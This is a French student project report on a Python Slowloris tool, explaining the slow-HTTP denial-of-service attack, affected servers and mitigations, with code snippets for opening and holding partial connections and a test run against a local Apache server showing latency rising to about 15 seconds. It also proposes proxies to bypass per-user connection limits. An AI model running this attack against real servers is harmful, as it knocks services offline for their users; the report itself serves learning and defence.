

Python pour la securite

- **1. Introduction**
 - **2. Fonctionnement**
 - **3. Resultat**
 - **4. Difficultees rencontrees**
 - **5. Ameliorations**
 - **6. Conclustion**
-

1. Introduction

L'attaque slow loris permet de faire un ddos sur un serveur en se servant que d'une seule machine.

Slowloris essaie de garder le maximum de connexions ouvertes avec le webserver cible et essaie de les garder ouvertes aussi longtemps que possible.

Dès que le slowloris a ouvert une connection il va garder la garder ouverte en envoyant des requêtes incomplètes qu'il va compléter lentement au fur et à mesure mais ne les finira jamais.

Les serveurs affectés verront leur nombre maximum de connections atteint et peuvent refuser les nouvelles connections d'utilisateurs.

Les serveurs majoritairement touchés par l'attaque slowloris sont:

- Apache 1.x and 2.x
- dhttpd
- Flask

Il existe des modules pour apache qui permettent de réduire la chance d'une attaque slowloris tel que:

- mod_limitipconn
- mod_qos, mod_evasive
- mod_security
- mod_noloris
- mod_antiloris

Il existe d'autres méthodes pour se protéger tel qu'installer un:

- reverse proxy
- firewall
- load balancer
- content switches

Si aucune de ces solutions n'est envisageable il est toujours possible de placer son webserver derrière un nginx ou lighthttpd qui ne sont pas affectés par cette attaque.

2. Fonctionnement

Afin de faire fonctionner ce programme, il est nécessaire d'installer certaines dependances. Les commandes à exécuter pour avoir un environnement d'exécution sont les suivantes :

- `virtualenv env`
- `source env/bin/activate`
- `pip install -r requirements.txt`

Ensuite il est possible de choisir certaines options:

- a: Host to perform attack on, default localhost
- p: Port of the server, default = 80
- s: Max socket to use
- d: Debug mode

Dans un premier temps, il est nécessaire de récupérer le type de serveur que l'on souhaite attaquer :

- Par exemple, un serveur apache 1.x/2.x permettra une attaque optimale.
- A contrario, attaquer un WebServeur tournant avec le framework NodeJS à partir de la version 8 est inutile

Pour récupérer le type de serveur, on envoie une requête get :

- `sock.send("GET / HTTP/1.1\r\n\r\n".encode("ascii"))`

Puis on analyse le retour

- HTTP/1.1 400 Bad Request Date: Wed, 10 Jul 2019 16:18:53 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1

Pour l'initialisation des sockets on envoie trois requêtes:

```
1 s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000).encode("utf-8"))
2 s.send("User-Agent: {} \r\n".format(ua.USER_AGENT[random.randint(0,29)]).encode("utf-8"))
3 s.send("{} \r\n".format("Accept-language: en-US,en;q=0.5".encode("utf-8")))
```

Dans l'ordre:

- La première initialise la connexion
- La deuxième envoie le user agent utilisé choisi aléatoirement dans la pool des user agents.
- La troisième dit quelles sont les langues acceptées.

-> À l'initialisation le slowloris va essayer d'initier autant de connexions que l'on a demandé.

Il va ensuite les garder en vie en les complétant toutes les 15 secondes avec:

```
1 s.send("X-a: {} \r\n".format(random.randint(1, 5000)).encode("utf-8"))
```

Il va ensuite essayer à nouveau d'ouvrir des connections jusqu'à atteindre la limite que l'on a fixé.

```
1 for _ in range(self.target_info.sockets_number - len(self.sockets_list)):
2     try:
3         s = self.init_socks()
4         if s:
5             self.sockets_list.append(s)
```

Par la suite le slowloris va calculer la latence en faisant une requête dans un thread à part.

```
1 response = requests.get(self.url).elapsed.total_seconds()
```

La request fait un get sur l'host rentree par l'utilisateur et recupere le temps entre l'envoi et la reponse de la requete.

3. Resultat

Les resultat ci dessous ont ete effectue sur un serveur Apache avec la configuration initiale.

Le programme fut lance avec la commande suivante : `python src/main.py -a 127.0.0.1 -s 1000`

Dans un premier temps la console nous affiche que l'on se trouve sur un seueur Apache, ce qui est parfait pour notre attaque :

```
[127.0.0.1] server running with Apache, best configuartion for this attack
```

Dans un second temps, on affiche la latence initial :

```
[Latency] -- 0.002142
```

On remarque donc que le temps de latence est relativement faible.

Ensuite on initialise le maximum de socket

```
279 connections 1000 initialised
```

On remarque ici que l'on a reussi a initialiser seulement 279 sockets sur les 1000 prevu, on essaie maintenant de les garder ouvertes le plus longtemps possible.

Apres 15 secondes, on essaie d'en recreer afin d'atteindre les 1000

```
try recreating sockets
```

Apres 5 minutes, on peut voir que l'on a 408 sockets qui sont ouvertes


```
408 connections 1000 initialised
```

On remarque aussi une latence de 15 secondes, preuve que le deni de service fonctionne.

```
[Latency] -- 15.80608
```

Après 10 minutes, on stop le programme, on peut donc voir une latence moyenne de 14.7 secondes.

Average latency = 14.702567199999999

 Capture d'écran 2019-07-10 à 20.30.52.png

On peut voir en haut le spinner qui tourne et en bas la requête connexion

Egalement quand on essaie de lancer un autre slowloris sur le même serveur alors qu'il y a déjà un slowloris qui tourne celui-ci ne marche pas car il n'arrive pas à établir une nouvelle connection.

```
1 (env) → slowAttack git:(master) x python src/main.py -a 127.0.0.1
2 19:30:51 - Slow Loris Attack Started
3 19:30:54 - No Webserver detected, please verify your target adresse
```

4. Difficultees rencontrees

La principale difficultees fut d'ordre materiel, en essayant l'attaque sur un serveur distant, la box internet ma "banni", il etait impossible d'accéder a aucun site web en dehors, impossible d'utiliser un dns.

La seconde difficultee fut de comprendre que les serveur nodes n'etaient pas affectees. Le programme semblait fonctionel mais aucun ralentissement ne fut observé. Ensuite installer un serveur apache est un defi de taille.

Hormis cela, aucune difficulté majeure ne fut rencontrées.

5. Ameliorations

Les améliorations possibles sont nombreuses:

- Détection automatique du serveur et optimisation des paramètres.
- Détection automatique du timeout serveur pour les requêtes.
- Détection du nombre de connection maximum du serveur pour pouvoir choisir le niveau de ddos que l'on veut (un peu, beaucoup, moyen)
- Utilisation de proxy pour permettre d'ouvrir un plus grand nombre de connections quand il y a un nombre limité par utilisateur.

6. Conclusion

L'attaque du slowloris est une attaque très intéressante si jamais le serveur web est vulnérable à cette attaque car elle permet à un seul ordinateur de facilement ddos un serveur.

Cependant il s'avère qui est facile de se protéger face à ses attaques en implémentant quelques règles: nombres de socket par utilisateur limités, firewall, reverse proxy, etc.